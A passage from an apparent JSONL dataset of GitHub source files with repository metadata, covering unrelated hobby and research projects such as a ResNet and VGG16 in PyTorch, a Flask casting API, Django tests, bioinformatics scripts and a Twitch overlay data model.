out_channels),\n )\n\n def forward(self, x):\n out = nn.ReLU()(self.bn1(self.conv1(x)))\n out = self.bn2(self.conv2(out))\n out += self.shortcut(x)\n out = nn.ReLU()(out)\n return out\n\n\nclass ResnetBackBone(nn.Module):\n def __init__(self):\n\n \n super(ResnetBackBone, self).__init__()\n \n # Conv1_x\n self.conv1_1 = nn.Conv2d(\n 1, 32, stride=(1, 1), padding=(1, 1), kernel_size=(3, 3)\n )\n self.conv1_2 = nn.Conv2d(\n 32, 64, stride=(1, 1), padding=(1, 1), kernel_size=(3, 3)\n )\n\n # Conv2_x\n self.conv2_pool = nn.MaxPool2d(kernel_size=(2, 2), stride=(2, 2), padding=0)\n self.conv2_resnet1 = ResnetBlock(in_channels=64, out_channels=128)\n # self.conv2_resnet2 = ResnetBlock(in_channels=128, out_channels=128)\n self.conv2_1 = nn.Conv2d(\n 128, 128, stride=(1, 1), padding=(1, 1), kernel_size=(3, 3)\n )\n\n # Conv3_x\n self.conv3_pool = nn.MaxPool2d(2, stride = 2, padding = 0)\n self.conv3_1 = ResnetBlock(in_channels=128, out_channels=256)\n self.conv3_2 = ResnetBlock(in_channels=256, out_channels=256)\n\n # Conv4_x\n self.conv4_pool = nn.MaxPool2d(2, stride=(2,1), padding=(0,1))\n self.conv4_1 = ResnetBlock(in_channels=256, out_channels=512)\n self.conv4_2 = ResnetBlock(in_channels=512, out_channels=512)\n self.conv4_3 = ResnetBlock(in_channels=512, out_channels=512)\n self.conv4_4 = ResnetBlock(in_channels=512, out_channels=512)\n self.conv4_5 = ResnetBlock(in_channels=512, out_channels=512)\n self.conv4_11 = nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3, stride=1, padding=1)\n\n # Conv5_x\n self.conv5_1 = ResnetBlock(in_channels=512, out_channels=512)\n self.conv5_2 = ResnetBlock(in_channels=512, out_channels=512)\n self.conv5_3 = ResnetBlock(in_channels=512, out_channels=512)\n self.conv5_7 = nn.Conv2d(512, 512, kernel_size=2, stride=(2,1), padding=(0,1))\n self.conv5_8 = nn.Conv2d(512, 512, kernel_size=2, stride=(1,1), padding = 0)\n\n\n\n\n def forward(self, x):\n out = self.conv1_1(x)\n out = self.conv1_2(out)\n\n out = self.conv2_pool(out)\n out = self.conv2_resnet1(out)\n out = self.conv2_1(out)\n\n out = self.conv3_pool(out)\n out = self.conv3_1(out)\n out = self.conv3_2(out)\n\n out = self.conv4_pool(out)\n out = self.conv4_1(out)\n out = self.conv4_2(out)\n out = self.conv4_3(out)\n out = self.conv4_4(out)\n out = self.conv4_5(out)\n out = self.conv4_11(out)\n\n out = self.conv5_1(out)\n out = self.conv5_2(out)\n out = self.conv5_3(out)\n out = self.conv5_7(out)\n out = self.conv5_8(out)\n return out\n\ndef main():\n summary(ResnetBackBone().to('cpu'), (1, 64, 256), batch_size=1)\n\nif __name__ == '__main__':\n main()","repo_name":"rogAKAnn/image-2-latex","sub_path":"image2latex/resnet32.py","file_name":"resnet32.py","file_ext":"py","file_size_in_byte":4136,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"7717114536","text":"dp = {0:0, 1:1, 2:1}\n\ndef fib (n, k):\n\tif n in dp:\n\t\treturn dp[n]\n\telse:\n\t\tdp[n] = fib(n-1,k) + k*fib(n-2,k)\n\t\treturn dp[n]\n\nn, k = map(int,input().split(\" \"))\nfib(n,k)\nprint(dp[n])","repo_name":"nadide/Bioinformatics_Lab","sub_path":"rosalind/fib.py","file_name":"fib.py","file_ext":"py","file_size_in_byte":181,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"9877386379","text":"import datetime\n\nfrom aka.utils import datefromstring, datetostring\nfrom aka.utils import format_filesize\nfrom django.test import SimpleTestCase\n\n\nclass BasicTestCase(SimpleTestCase):\n def setUp(self):\n pass\n\n # Test module utils.\n # -------------------\n def test_utils_1(self):\n datestring = '2018-05-13'\n dd = datefromstring(datestring)\n self.assertTrue(type(dd) is datetime.datetime)\n self.assertEqual(dd.year, 2018)\n self.assertEqual(dd.month, 5)\n self.assertEqual(dd.day, 13)\n\n def test_utils_2(self):\n try:\n datefromstring('2018-20-20')\n self.fail('Failed to catch ValueError.')\n except ValueError:\n self.assertTrue(True)\n\n def test_utils_3(self):\n try:\n datefromstring('2018-02-50')\n self.fail('Failed to catch ValueError.')\n except ValueError:\n self.assertTrue(True)\n\n def test_utils_4(self):\n try:\n datefromstring('2018-02')\n self.fail('Failed to catch ValueError.')\n except ValueError:\n self.assertTrue(True)\n\n def test_utils_5(self):\n datestring1 = '2018-02-01'\n date = datefromstring(datestring1)\n datestring2 = datetostring(date)\n self.assertEqual(datestring1, datestring2)\n\n def test_format_filesize(self):\n self.assertEqual(\"100 B\", format_filesize(100))\n self.assertEqual(\"1.0 kB\", format_filesize(1000))\n self.assertEqual(\"1.5 kB\", format_filesize(1500))\n self.assertEqual(\"12.3 MB\", format_filesize(12345678))\n self.assertEqual(\"12.35 MB\", format_filesize(12345678, 2))\n self.assertEqual(\"1.0 MiB\", format_filesize(1024**2, 1, False))\n self.assertEqual(\"1.5 MiB\", format_filesize(1.5*1024**2, 1, False))\n self.assertEqual(\"1.0 GiB\", format_filesize(1024**3, SI=False))\n self.assertEqual(\"1.0 GB\", format_filesize(1000**3, SI=True))\n","repo_name":"magenta-aps/aka-selvbetjening","sub_path":"backend/aka/tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":1958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9684273882","text":"def sort012(array, size):\n '''\n https://www.geeksforgeeks.org/sort-an-array-of-0s-1s-and-2s/\n '''\n low = 0\n mid = 0\n high = size - 1\n while mid <= high:\n if array[mid] == 0:\n array[low], array[mid] = array[mid], array[low]\n low = low + 1\n mid = mid + 1\n elif array[mid] == 1:\n mid = mid + 1\n else:\n array[mid], array[high] = array[high], array[mid]\n high = high - 1\n return array\n\n\narr = [0, 1, 1, 0, 1, 2, 1, 2, 0, 0, 0, 1]\narr = sort012(arr, len(arr))\n\nprint(arr)\n","repo_name":"jsjain/DSA_GeeksforGeeks_Random-utility-python-codes","sub_path":"geeksforgeeks/sort 0s, 1s and 2s.py","file_name":"sort 0s, 1s and 2s.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"24093546797","text":"from bs4 import BeautifulSoup\n\ndef parse_xml(file_name,table_name):\n with open(file_name, \"r\") as markup:\n soup = BeautifulSoup(markup, \"xml\")\n table = soup.find_all('table', {'name': table_name})\n \n ret = []\n\n with open(file_name, \"r\") as markup:\n soup = BeautifulSoup(markup, \"xml\")\n table = soup.find_all('table', {'name': table_name})\n for row in table:\n column = row.find_all('column')\n ret_dict = {}\n for value in column:\n key = value['name']\n ret_dict.setdefault(key,[]).append(value.text)\n ret.append(ret_dict)\n return ret\n","repo_name":"JohnlNguyen/xml-parser","sub_path":"parse/parse_xml.py","file_name":"parse_xml.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"5552479522","text":"# A basic, and pretty fast (for python) way of generating all kmers of length x (only argument)\n\"\"\"\nSome speed benchmarks:\n$ for i in {1..10..2} ; do\n echo \"k =\" $i\n time python mer-permutations.py $i > /dev/null\n done\n\nk = 1\nreal 0m0.022s\nuser 0m0.016s\nsys 0m0.004s\n\nk = 3\nreal 0m0.022s\nuser 0m0.004s\nsys 0m0.016s\n\nk = 5\nreal 0m0.024s\nuser 0m0.016s\nsys 0m0.004s\n\nk = 7\nreal 0m0.054s\nuser 0m0.048s\nsys 0m0.004s\n\nk = 9\nreal 0m0.519s\nuser 0m0.504s\nsys 0m0.016s\n\"\"\"\n\nimport sys\nimport itertools\n\ncombinations = itertools.product(\n *itertools.repeat([\"A\", \"T\", \"C\", \"G\"], int(sys.argv[1]))\n)\nfor i, k in enumerate(combinations):\n # print('>Kmer_' + str(i) + '\\n' + ''.join(k) )\n print(\"\".join(k))\n","repo_name":"jrjhealey/bioinfo-tools","sub_path":"kmer-permutations.py","file_name":"kmer-permutations.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"82"} +{"seq_id":"25741916837","text":"\"\"\"`argparse` to create a cli\"\"\"\nimport argparse\nimport os\nimport sqlite3\n\nfrom parse_quran_db import q_trans_main, q_ar_trans, \\\n translations_data, chapters_data, multi_lang_chapters, lang_data\nfrom parse_hadith_db import hadiths\n\nparser = argparse.ArgumentParser(description=\"Formats and saves quran and hadith data\")\n\nparser.add_argument(\"--q_trans_main\", action=\"store_true\")\nparser.add_argument(\"--q_ar_trans\", action=\"store_true\")\nparser.add_argument(\"--translations\", action=\"store_true\")\nparser.add_argument(\"--chapters\", action=\"store_true\")\nparser.add_argument(\"--multi_lang_chapters\", action=\"store_true\")\nparser.add_argument(\"--lang\", action=\"store_true\")\n\nparser.add_argument(\"--hadiths\", action=\"store_true\")\n\nargs = parser.parse_args()\n\ntry:\n os.mkdir('../quran')\n os.mkdir('../hadith')\nexcept:\n pass\n\nif args.q_trans_main or args.q_ar_trans or args.translations or args.chapters or args.multi_lang_chapters or args.lang:\n conn = sqlite3.connect(\"../quran/quran.db\");\n conn_c = conn.cursor()\n\n\nif args.q_trans_main:\n q_trans_main()\n\nif args.q_ar_trans:\n q_ar_trans()\n\nif args.translations:\n translations_data()\n\nif args.chapters:\n chapters_data()\n\nif args.multi_lang_chapters:\n multi_lang_chapters()\n\nif args.lang:\n lang_data()\n\nif args.hadiths:\n hadiths()\n\nif args.q_trans_main or args.q_ar_trans or args.translations or args.chapters or args.multi_lang_chapters or args.lang:\n conn_c.close()\n conn.close()\n","repo_name":"Islamic-OS/qitab_data_repo","sub_path":"parser/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"32369998823","text":"from ah.website.db_con import DbCon as db_con\nimport pandas as pd\n\noa_con = db_con.con_oa\ndb_gp = db_con.con_gp\n\n\n# 获取源GP 所有表信息\ndef gp_tables():\n gp_table_query = f\"\"\"\n SELECT \n table_name,\n table_catalog \n FROM information_schema.tables\n \"\"\"\n gp_table_detail = pd.read_sql(gp_table_query, db_gp)\n return gp_table_detail\n\n\n# 获取源OA 所有表信息\ndef oa_tables():\n oa_table_query = f\"\"\"\n SELECT \n table_name,\n table_catalog \n FROM information_schema.tables\n \"\"\"\n oa_table_detail = pd.read_sql(oa_table_query, oa_con)\n return oa_table_detail\n\n\n# 获取所有任务信息\ndef current_system_tasks():\n current_system_query = f'''\n select \n job_name,\n job_db,\n job_sql,\n job_status,\n job_owner,\n job_desc,\n job_frequency,\n job_time,\n job_type,\n job_level,\n level_sort,\n job_sql \n from ods_task_job_schedule_pool\n '''\n current_system_tasks_detail = pd.read_sql(current_system_query, db_gp)\n return current_system_tasks_detail\n\n\n# 获取所有任务对应log信息\ndef current_system_logs():\n current_system_query = f'''\n SELECT \n job_name,\n job_result,\n job_db,\n job_level,\n job_owner\n FROM ods_task_job_execute_log\n where date(end_time)=date(current_date)\n '''\n current_system_logs_detail = pd.read_sql(current_system_query, db_gp)\n return current_system_logs_detail\n","repo_name":"Aapche5200/dataflow","sub_path":"website/templates/data_work/getalltable_info.py","file_name":"getalltable_info.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"35822931247","text":"# word = input('Input a word:')\n# word_list = list(word)\n# print(word_list)\n# for i in range(len(word_list)):\n# print(word_list.pop(), end='') #end는 줄바꿈 없이. 전체주석 ctrl + /\n#\n\n# Decimal to\nTwo_list = list()\nDeci = 1\ncnt = 0\nwhile cnt != 10:\n Deci = int(input(\"Input a decimal:\"))\n cnt += 1\n if (Deci > 1):\n while Deci != 0:\n Deci_re = Deci % 2\n Deci = Deci // 2\n Two_list.append(str(Deci_re))\n for i in range(len(Two_list)):\n print(Two_list.pop(),end='')\n print('\\n')\n else : break\n\n# Two = 1\n# cnt = 0\n# while cnt != 10:\n# Two = int(input(\"Input a Two:\"))\n# Two_list = list(str(Two))\n# cnt += 1\n# deci = 0\n# if (Two != 0):\n# for i in range(len(Two_list)):\n# deci = deci + (Two_list(i))*2**i\n# print(deci)\n# else : break\n","repo_name":"HyunchanMOON/Python","sub_path":"stack_example.py","file_name":"stack_example.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25982556255","text":"from auth import AuthError\nfrom flask import Flask, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate, migrate\nfrom flask_cors import CORS\nfrom actors_blueprint import actors_blueprint\nfrom castings_blueprint import castings_blueprint\nfrom genders_blueprint import genders_blueprint\nfrom movies_blueprint import movies_blueprint\nfrom models import get_migrate, setup_db, get_db\nimport os\n\ndb = SQLAlchemy()\nmigrate = Migrate()\ntest_mode = os.getenv('TEST_MODE')\n\n\ndef create_app(test_config=None):\n # create and configure the app\n app = Flask(__name__)\n app.register_blueprint(actors_blueprint)\n app.register_blueprint(movies_blueprint)\n app.register_blueprint(genders_blueprint)\n app.register_blueprint(castings_blueprint)\n CORS(app)\n if test_mode == 1:\n setup_db(app, test_mode=True)\n else:\n setup_db(app)\n db = get_db()\n migrate = get_migrate()\n\n return app\n\n\nAPP = create_app(test_config=test_mode)\n\n\n@APP.after_request\ndef after_request(response):\n response.headers.add('Access-Control-Allow-Headers',\n 'Content-Type, Authorization, true')\n response.headers.add(\n 'Access-Control-Allow-Methods', 'GET, OPTIONS, PATCH, DELETE, POST')\n return response\n\n\n@APP.errorhandler(404)\ndef error_404(error):\n message = 'not found'\n return jsonify({\n 'success': False,\n 'error': 404,\n 'message': message.lower()\n }), 404\n\n\n@APP.errorhandler(401)\ndef error_401(error):\n message = 'unauthorized'\n return jsonify({\n 'success': False,\n 'error': 401,\n 'message': message.lower()\n }), 401\n\n\n@APP.errorhandler(403)\ndef error_403(error):\n message = 'forbidden'\n return jsonify({\n 'success': False,\n 'error': 403,\n 'message': message.lower()\n }), 401\n\n\n@APP.errorhandler(405)\ndef error_405(error):\n message = 'not allowed'\n return jsonify({\n 'success': False,\n 'error': 405,\n 'message': message.lower()\n }), 405\n\n\n@APP.errorhandler(422)\ndef error_422(error):\n message = 'unprocessable'\n return jsonify({\n 'success': False,\n 'error': 422,\n 'message': message.lower()\n }), 422\n\n\n@APP.errorhandler(400)\ndef error_400(error):\n message = 'bad request'\n return jsonify({\n 'success': False,\n 'error': 400,\n 'message': message.lower()\n }), 400\n\n\n@APP.errorhandler(500)\ndef error_500(error):\n message = 'server error'\n return jsonify({\n 'success': False,\n 'error': 500,\n 'message': message.lower()\n }), 500\n\n\n@APP.errorhandler(AuthError)\ndef auth_error(error):\n error_data = error.format()\n return jsonify({\n 'success': False,\n 'error': error_data['code'],\n 'message': error_data['message']\n }), error_data['code']\n\n\nif __name__ == '__main__':\n APP.run(host='0.0.0.0', port=8080, debug=True)\n","repo_name":"GiftXXVI/FSND_Capstone","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25372690041","text":"\nimport unittest\n\nfrom ..pintaformas.inicio.operaciones_eventos.tipos import AtributoPygameEvent\nfrom ..pintaformas.dependencias import nombres_pygame, crear_evento_pygame\nfrom ..pintaformas.inicio.operaciones_eventos.posproceso_eventos import PostprocesadorEventos\n\nDictPygameEvent = dict[str, AtributoPygameEvent]\n\nDICC_MOVIMIENTO_RATON: DictPygameEvent = dict(\n pos=(44, 486), rel=(44, -61), buttons=(0, 0, 0)\n)\n\n\nclass TestPrepararEventosParaGuardado(unittest.TestCase):\n\n def test_convertir_formato_eventos(self) -> None:\n\n lista_1 = [\n crear_evento_pygame(nombres_pygame.MOUSEMOTION, DICC_MOVIMIENTO_RATON),\n crear_evento_pygame(nombres_pygame.ACTIVEEVENT, dict(gain=1, state=1)),\n\n ]\n lista_2 = [\n crear_evento_pygame(nombres_pygame.KEYDOWN, dict(unicode='t', key=116, mod=0, scancode=20)),\n\n ]\n eventos_totales = [\n lista_1,\n lista_2,\n ]\n salida_esperada = [\n [\n {\n 'tipo': nombres_pygame.MOUSEMOTION,\n 'dicc': DICC_MOVIMIENTO_RATON\n },\n {\n 'tipo': nombres_pygame.ACTIVEEVENT,\n 'dicc': dict(gain=1, state=1)\n },\n ],\n [\n {\n 'tipo': nombres_pygame.KEYDOWN,\n 'dicc': dict(unicode='t', key=116, mod=0, scancode=20)\n },\n ],\n ]\n posprocesador = PostprocesadorEventos(eventos_totales)\n self.assertEqual(\n posprocesador.convertir_formato_eventos(), salida_esperada\n )\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"gulliver-madrid/pintaformas","sub_path":"src/tests/test_inicio_preparar_eventos.py","file_name":"test_inicio_preparar_eventos.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"25372552851","text":"from typing import Union, TypedDict\n\nfrom ...dependencias import PygameEvent\nfrom ...core.tipos import Tuple2Int, Tuple3Int\n\nValorBasico = Union[str, int]\nValorOrigenJSON = Union[ValorBasico, list[int], None]\nAtributoPygameEvent = Union[ValorBasico, Tuple2Int, Tuple3Int, None]\n\nDiccEvento = dict[str, AtributoPygameEvent]\n\nDiccionarioStrObject = dict[str, object]\n\n\nclass EventoJson(TypedDict):\n '''Contiene listas'''\n tipo: int\n dicc: dict[str, ValorOrigenJSON]\n\n\nclass EventoParaJson(TypedDict):\n '''Contiene tuplas'''\n tipo: int\n dicc: dict[str, AtributoPygameEvent]\n\n\n# Los eventos JSON contienen listas en vez de tuplas\nEventosJSONDeUnCiclo = list[EventoJson]\nEventosJSONTotales = list[EventosJSONDeUnCiclo]\n\n# Los eventos para JSON contienen tuplas\nListaTotalEventosParaJSON = list[list[EventoParaJson]]\n\nEventosDeUnCiclo = list[PygameEvent]\nListaTotalDeEventos = list[EventosDeUnCiclo]\n","repo_name":"gulliver-madrid/pintaformas","sub_path":"src/pintaformas/inicio/operaciones_eventos/tipos.py","file_name":"tipos.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"74187984267","text":"import random\nimport string\n\nimport itertools\nfrom dataclasses import dataclass\nfrom typing import List, Dict\n\nfrom rlbot.utils.structures.game_data_struct import GameTickPacket, PlayerInfo\nfrom rlbot_action_client.models import BotAction\nfrom twitchbroker.action_and_server_id import AvailableActionsAndServerId, ActionAndServerId\n\n\nclass NumberedAction:\n def __init__(self, number: int, action: BotAction):\n self.number = number\n self.action = action\n\n\n@dataclass\nclass CommandAcknowledgement:\n username: str\n description: str\n status: str\n id: str\n voters: List[str]\n\n\n\n@dataclass\nclass VoteTracker:\n votes_needed: int\n original_menu_id: str\n voters: List[str]\n start_time: float\n deadline: float # The game seconds (instant in time) at which this vote tracker should expire\n entity_name: str # This is used to retrieve config. Useful in situations where we're replacing the vote tracker with a new one.\n five_second_warning: bool # The UI can use this to start flashing when we're close to the deadline.\n\n def register_vote(self, username):\n if username not in self.voters:\n self.voters.append(username)\n\n def has_needed_votes(self):\n return len(self.voters) >= self.votes_needed\n\n\ndef create_section(act_and_server: AvailableActionsAndServerId, counter: itertools.count):\n return CommandSection(header=act_and_server.available_actions.entity_name,\n entity_name=act_and_server.available_actions.entity_name,\n action_server_id=act_and_server.action_server_id,\n actions=[NumberedAction(next(counter), a) for a in\n act_and_server.available_actions.available_actions])\n\n\ndef generate_menu_id():\n return ''.join(random.choice(string.ascii_uppercase) for _ in range(2))\n\n\ndef generate_menu(list: List[AvailableActionsAndServerId], menu_id: str,\n recent_commands: List[CommandAcknowledgement], packet: GameTickPacket,\n vote_trackers: Dict[str, VoteTracker]) -> 'OverlayData':\n\n raw_players = [packet.game_cars[i] for i in range(packet.num_cars)]\n players = [PlayerData(p.name, p.team) for p in raw_players if p.name]\n counter = itertools.count(1)\n return OverlayData(menu_id=menu_id, sections=[create_section(s, counter) for s in list],\n recent_commands=recent_commands, players=players, vote_trackers=vote_trackers,\n is_menu_active=packet.game_info.is_round_active, chat_users_involved=[],\n creation_time=packet.game_info.seconds_elapsed)\n\n\n@dataclass\nclass CommandSection:\n header: str\n entity_name: str # Probably the same as the header for now.\n action_server_id: str\n actions: List[NumberedAction]\n\n\n@dataclass\nclass PlayerData:\n name: str\n team: int\n\n\n@dataclass\nclass OverlayData:\n menu_id: str\n sections: List[CommandSection]\n recent_commands: List[CommandAcknowledgement]\n players: List[PlayerData]\n vote_trackers: Dict[str, VoteTracker]\n is_menu_active: bool\n chat_users_involved: List[str]\n creation_time: float\n\n def retrieve_choice(self, choice_num: int) -> ActionAndServerId:\n for section in self.sections:\n for action in section.actions:\n if action.number == choice_num:\n return ActionAndServerId(action.action, section.entity_name, section.action_server_id)\n return None\n\n def num_actions(self) -> int:\n count = 0\n for section in self.sections:\n count += len(section.actions)\n return count\n\n\ndef serialize_for_overlay(o):\n if hasattr(o, 'to_dict'):\n return o.to_dict()\n return o.__dict__\n","repo_name":"RLBot/RLBotPack","sub_path":"RLBotPack/TwitchInteraction/TwitchBroker/twitchbroker/overlay_data.py","file_name":"overlay_data.py","file_ext":"py","file_size_in_byte":3768,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"82"} +{"seq_id":"2716146213","text":"# import networkx as nx\nimport GraphCreator\nimport matplotlib.pyplot as plt\nimport pylab\n\"\"\"\nScript to calculate the average salary of every actor with age ranges of 10 years starting from 0\nReturns a scatter plot of the values to spot any trends\n\"\"\"\n\n\ng = GraphCreator.json_to_graph(\"data.json\")\n\nsums = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\ncounts = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n\nfor i in g.nodes(data=True):\n offset = -1\n if i[1]['json_class'] == 'Actor':\n if i[1]['age'] < 0:\n continue\n elif i[1]['age'] < 10:\n offset = 0\n elif i[1]['age'] < 20:\n offset = 1\n elif i[1]['age'] < 30:\n offset = 2\n elif i[1]['age'] < 40:\n offset = 3\n elif i[1]['age'] < 50:\n offset = 4\n elif i[1]['age'] < 60:\n offset = 5\n elif i[1]['age'] < 70:\n offset = 6\n elif i[1]['age'] < 80:\n offset = 7\n elif i[1]['age'] < 90:\n offset = 8\n elif i[1]['age'] < 100:\n offset = 9\n\n if offset > 0:\n sums[offset] += i[1]['total_gross']\n counts[offset] += 1\n\naverages = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\nfor i in range(0, 9):\n if counts[i] is not 0:\n averages[i] = (sums[i]/counts[i])\n\nages = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n\nplt.figure(figsize=(17, 6))\nplt.scatter(ages, averages)\npylab.xlabel('Ages')\npylab.ylabel('Average Gross')\n\nlabels = ['0-10', '10-20', '20-30', '30-40', '40-50', '50-60', '60-70', '70-80', '80-90', '90-100', ]\nplt.ylim(-100, 60534868)\nplt.xticks(ages, labels)\nplt.show()\n","repo_name":"shrujancheruku/Programming-Studio","sub_path":"Assignment2.1/AgeSalary.py","file_name":"AgeSalary.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40599790292","text":"import random\ndef sanitize_phone_number(phone):\n new_phone = (\n phone.strip()\n .removeprefix(\"+\")\n .replace(\"(\", \"\")\n .replace(\")\", \"\")\n .replace(\"-\", \"\")\n .replace(\" \", \"\")\n )\n print (new_phone)\n\n list_phones = []\n for i in range(10):\n list_phones.append(new_phone)\n \n print (list_phones)\n\nsanitize_phone_number(\"+45645 64-64\")\n\n\n\n#def get_phone_numbers_for_countries(list_phones):\n\n\n#get_phone_numbers_for_countries():","repo_name":"evgeniytr1509/Dell","sub_path":"phone.py","file_name":"phone.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"33242500324","text":"from KongMing.Archiver.SingleNNArchiver import SingleNNArchiver\nfrom KongMing.ModelFactory.SingleNNModelFactory import SingleNNModelFactory\nfrom KongMing.Trainer.VGGTrainer import VGGTrainer\n\nfrom KongMing.Models.BaseNNModel import BaseNNModel\n\nfrom KongMing.Utils.CaseInsensitiveContainer import CaseInsensitiveList, CaseInsensitiveDict\n\nimport torch\nimport torchvision\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchvision.models.vgg import VGG16_Weights\n\nclass VGG16(BaseNNModel):\n def __init__(self, inNumClasses=10):\n super().__init__()\n self.features = nn.Sequential(\n # Block 1\n nn.Conv2d(3, 64, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(64, 64, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n\n # Block 2\n nn.Conv2d(64, 128, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(128, 128, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n\n # Block 3\n nn.Conv2d(128, 256, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(256, 256, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(256, 256, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n\n # Block 4\n nn.Conv2d(256, 512, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(512, 512, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(512, 512, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n\n # Block 5\n nn.Conv2d(512, 512, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(512, 512, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(512, 512, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n )\n\n self.avgpool = nn.AdaptiveAvgPool2d((7, 7))\n\n self.classifier = nn.Sequential(\n nn.Linear(512 * 7 * 7, 4096),\n nn.ReLU(True),\n nn.Dropout(),\n nn.Linear(4096, 4096),\n nn.ReLU(True),\n nn.Dropout(),\n nn.Linear(4096, inNumClasses),\n )\n\n def forward(self, inX):\n inX = self.features(inX)\n inX = self.avgpool(inX)\n inX = torch.flatten(inX, 1)\n inX = self.classifier(inX)\n return inX\n\nclass VGGModelFactory(SingleNNModelFactory) :\n def __init__(\n self,\n inNumClasses,\n inLearningRate,\n inModelRootFolderPath\n ) :\n self.VGG = VGG16(inNumClasses)\n\n Trainer = VGGTrainer(inLearningRate)\n\n super().__init__(self.VGG, Trainer, inModelRootFolderPath)\n\n print(\"Sum of Params:{:,} \".format(self._SumParameters(self.VGG)))\n\n def NewTrain(self, inDataLoader, inEpochIterCount : int, inArgs : CaseInsensitiveList = None, inKVArgs : CaseInsensitiveDict = None) -> None:\n if \"LoadPretrained\" in inArgs:\n print(\"Load Pretranined Begin........\")\n PreTrainedModel = torchvision.models.vgg16(weights=VGG16_Weights.IMAGENET1K_V1)\n print(\"\\t Load Features\")\n self.VGG.features.load_state_dict(PreTrainedModel.features.state_dict())\n print(\"\\t Load Avgpool\")\n self.VGG.avgpool.load_state_dict(PreTrainedModel.avgpool.state_dict())\n for i in range(6):\n print(\"\\t Load classifier[{}]\".format(i))\n self.VGG.classifier[i].load_state_dict(PreTrainedModel.classifier[i].state_dict())\n print(\"Load Pretranined Finished........\")\n\n super().NewTrain(inDataLoader=inDataLoader, inEpochIterCount=inEpochIterCount, inArgs=inArgs, inKVArgs=inKVArgs)\n\n def Eval(self, inEpoch, inArgs : CaseInsensitiveList = None, inKVArgs : CaseInsensitiveDict = None) :\n if (super().Eval(inEpoch, inArgs, inKVArgs) == False) :\n return False\n\n TestDataLoader = inKVArgs.get(\"inDataLoader\")\n if (TestDataLoader is None) :\n return False\n\n self.VGG.eval()\n\n correct = 0\n total = 0\n with torch.no_grad():\n for data in TestDataLoader:\n images, labels = data[0].to(self.Device), data[1].to(self.Device)\n outputs = self.VGG(images)\n _, predicted = torch.max(outputs.data, 1)\n total += labels.size(0)\n correct += (predicted == labels).sum().item()\n\n print('Accuracy of the network on the 10000 test images: %d %%' % (100 * correct / total))\n\n return True\n","repo_name":"shanhaobo/StudyAI","sub_path":"KongMing/ModelFactory/Classifier/VGGModelFactory.py","file_name":"VGGModelFactory.py","file_ext":"py","file_size_in_byte":4922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"26234767793","text":"\"\"\"\ndeepdataspace.server.settings\n\nThe django settings.\n\"\"\"\n\nimport os.path\nfrom pathlib import Path\n\nfrom corsheaders.defaults import default_headers\nfrom corsheaders.defaults import default_methods\n\nfrom deepdataspace import constants\nfrom deepdataspace import environs\n\nBASE_DIR = os.path.abspath(Path(__file__).resolve().parent)\n\nDJANGO_DIR = environs.DJANGO_DIR\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = 